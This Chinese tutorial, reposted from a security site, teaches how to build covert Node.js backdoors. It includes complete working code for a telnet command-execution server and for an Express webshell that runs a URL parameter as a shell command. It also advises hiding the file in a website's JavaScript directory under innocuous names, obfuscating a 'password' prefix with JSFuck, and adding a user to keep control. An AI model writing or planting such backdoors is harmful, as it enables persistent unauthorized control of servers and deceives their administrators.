<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/10900

            0x00 前言


            從語言下手,來寫一個市面沒有的后面程序。

            0x01 為什么選擇NodeJs


            1. 我個人非常喜愛JavaScript這門語言,而我們今天所說的就是NodeJS,JavaScript語言的一個分支。NodeJS本身就是一個Web 服務器同時他還是一門后端語言,這一點尤其重要,因為我們只需要下載一個NodeJs就可以完成一系列操作,從而免去很多的麻煩。
            2. 而且即使被運維人員發現,也會以為是開發部門正在寫有關NodeJs的項目。
            3. NodeJs是一個非常年輕的語言,以至于很多人都沒有學過。我見過運維人員懂PHP、Python的,但是懂NodeJs的,我是沒見過。

              接下來的篇章,我會使用telnet通信和web通信兩個方式來寫NodeJs后面程序。

            4. 下一篇再說

            0x02 前期準備工作


            有關NodeJs安裝的,請自行百度。

            我這里使用的是NodeJs版本是5.1.0

            p1

            NodeJs安裝完成后,我們可以隨便在哪一個目錄建立一個NodeJs文件,當然我這里推薦在服務器網站上的靜態目錄里的JavaScript目錄來寫,因為都是JavaScript文件,有很大的隱蔽性。我嫌麻煩,就在~目錄下建立一個nodeDemo目錄來建立NodeJs文件了。

            我這里建立的是app.js,當然名字隨便取,你可以取base.js、cache.js、cookies.js等等,起到隱蔽性就行了。

            0x03 telnet通信后門


            NodeJs里使用telnet進行通信的時候,需要調用net庫和child_process庫里的exec方法。

            代碼如下:

            var net = require('net');
            var exec = require('child_process').exec;
            

            然后使用createServer()函數來創建連接,代碼如下:

            var server= net.createServer(function(conn){
                //code
            });
            

            接下來要解決字符串編碼問題,不然亂碼真的沒法看:

            conn.setEncoding('utf8');
            

            注意這里沒有-,不是utf-8。切記。

            為了好看,我還特意加上了conn.write('\n');恩,這樣好看多了。

            OK,接下來就是連接成功后,處理輸入的字符串了。這里需要用on函數:

            conn.on('data',function(data){
            //code
            });
            

            在輸入后的字符串里,刪除掉回車字符串。

            data=data.replace('\r\n','');
            

            這段代碼非常重要。我被這個坑卡了二十分鐘。很多人可能會問不就是個回車么,按兩次回車鍵怎么了。問題就在這。他這是ascll編碼,也就是說你這個不會回車,而是回車的ascll編碼,如果沒有這個命令,你輸入的命令都將無法使用,你用echo輸出到的文件也會變成xxx.txt?這里并不是真正的?,而是系統無法顯示出這個字符,而用?告訴人們,這是一個無法顯示的字符串。

            這里的data變量就是我們輸入的命令了。接下來就要用到child_process庫里的exec方法了。

            exec(data,function(error,stdout){
                //code
            });
            

            exec的第一個參數是data,也就是我們要運行的代碼,后面的參數是個函數,這個函數里的一個參數是error,他是反饋命令中存在的錯誤。二個參數stdout是命令運行后的反饋。

            我們先判斷運行的命令中是否存在錯誤:

            if(error !== null){
                conn.write(error + '\n');
                return false;       
            }
            

            如果沒有錯誤會反饋null字符串,我們就拿這個當做判斷條件。Conn.write是在telnet終端反饋字符的,相當于php中的echo。

            return false;是防止程序繼續向下執行。

            接下來就是顯示命令反饋了:

            conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
            

            為了更加的直觀,我用#start和#end來標出反饋的區域。

            server變量OK后,就是讓程序監聽端口運行了。

            server.listen(3000,function(){
                console.log('OK');
            });
            

            監聽3000端口,并在終端中顯示OK。

            完整代碼如下:

            var net = require('net');
            var exec = require('child_process').exec;
            var server= net.createServer(function(conn){
                conn.setEncoding('utf8');
                conn.write('\n');
                conn.on('data',function(data){
                    data=data.replace('\r\n','');
                    exec(data,function(error,stdout){
                        if(error !== null){
                            conn.write(error + '\n');
                            return false;       
                        }
                        conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
                    });
                });
            }); 
            
            server.listen(3000,function(){
                console.log('OK');
            });
            

            現在讓我們來測試一下:

            p2

            打開另一個終端,輸入telnet 127.0.0.1 3000

            p3

            現在我們輸入幾條命令試下:

            p4

            p5

            OK了。現在只需要使用添加用戶即可再次控制機器。

            而這里有個缺陷,就是沒有密碼驗證,我特意查了net庫里的函數,但是沒有找到密碼驗證,于是我想到了另一種方法來代替密碼驗證。代碼如下:

            if(data.substring(0,2) == 'js'){
                data = data.substring(2);
            }else{
                return false;
            }
            

            每一條命令的前面都加上js才會運行,如果沒有,則什么都不輸出。事例:

            p6

            加上當我第一次輸入ls的時候,程序并沒有運行,當前面加上js字符串之后,命令才成功的運行。

            直接寫js字符串太顯眼了,我們加密一下吧,因為NodeJs用的v8引擎,那么在瀏覽器里的JavaScript黑魔法,在NodeJs里也可以使用,我們打開http://www.jsfuck.com/把js加密下,加密后的字符串是:

            (+(!+[]+!+[]+!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]
            

            如圖:

            p7

            那么現在的NodeJs后門代碼就變成這個樣子:

            p8

            現在我們來測試一下能不能使用:

            p9

            完美。

            0x03 web通信后門


            上節說道使用telnet通信當做后門,那么現在我們來說一說web通信后門。

            這里是使用了express框架嗎,玩過NodeJs的人都知道,基本是NodeJs必裝框架。

            安裝express框架請自行百度。

            首先我們建立一個網站目錄用于存放后面程序。

            express node如圖:

            p10

            cd node && npm install
            

            完成后,基本就OK了。現在我們進入到routes目錄。修改index.js文件。

            vim router/index.js
            

            p11

            這是之前的index.js代碼,現在我們來修改它。

            在第三行加入代碼:

            var exec = require('child_process').exec;
            

            刪除第6行代碼,修改為:

            exec(req.query.webshellPassword,function(error,stdout){
                if(error !== null){
                    res.send(error);
                    return false;
                }
                res.send(stdout);
            });
            

            基本和上一節的telnet通信后門代碼差不多。只是出現了如下代碼:

            req.query.webshellPassword
            

            req.query是NodeJs獲取URL參數的。webshellPassword是參數名。他相當于PHP代碼里的:$_GET['webshallPassword'];

            完整代碼如下:

            p12

            現在我們進入到node目錄。運行它:

            p13

            打開瀏覽器,輸入http://127.0.0.1:3000/?webshellPassword=ls

            結果如下:

            p14

            瀏如果是window系統,沒有裝linux命令集的話,請把ls改成dir。

            我們來大致看一下能做哪些事:

            p15

            p16

            p17

            p18

            想干啥都可以,心情瞬間變得更美麗的呢。

            下一章將說到使用網站來管理后門。麻麻再也不用擔心我天天抱著電腦了呢。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线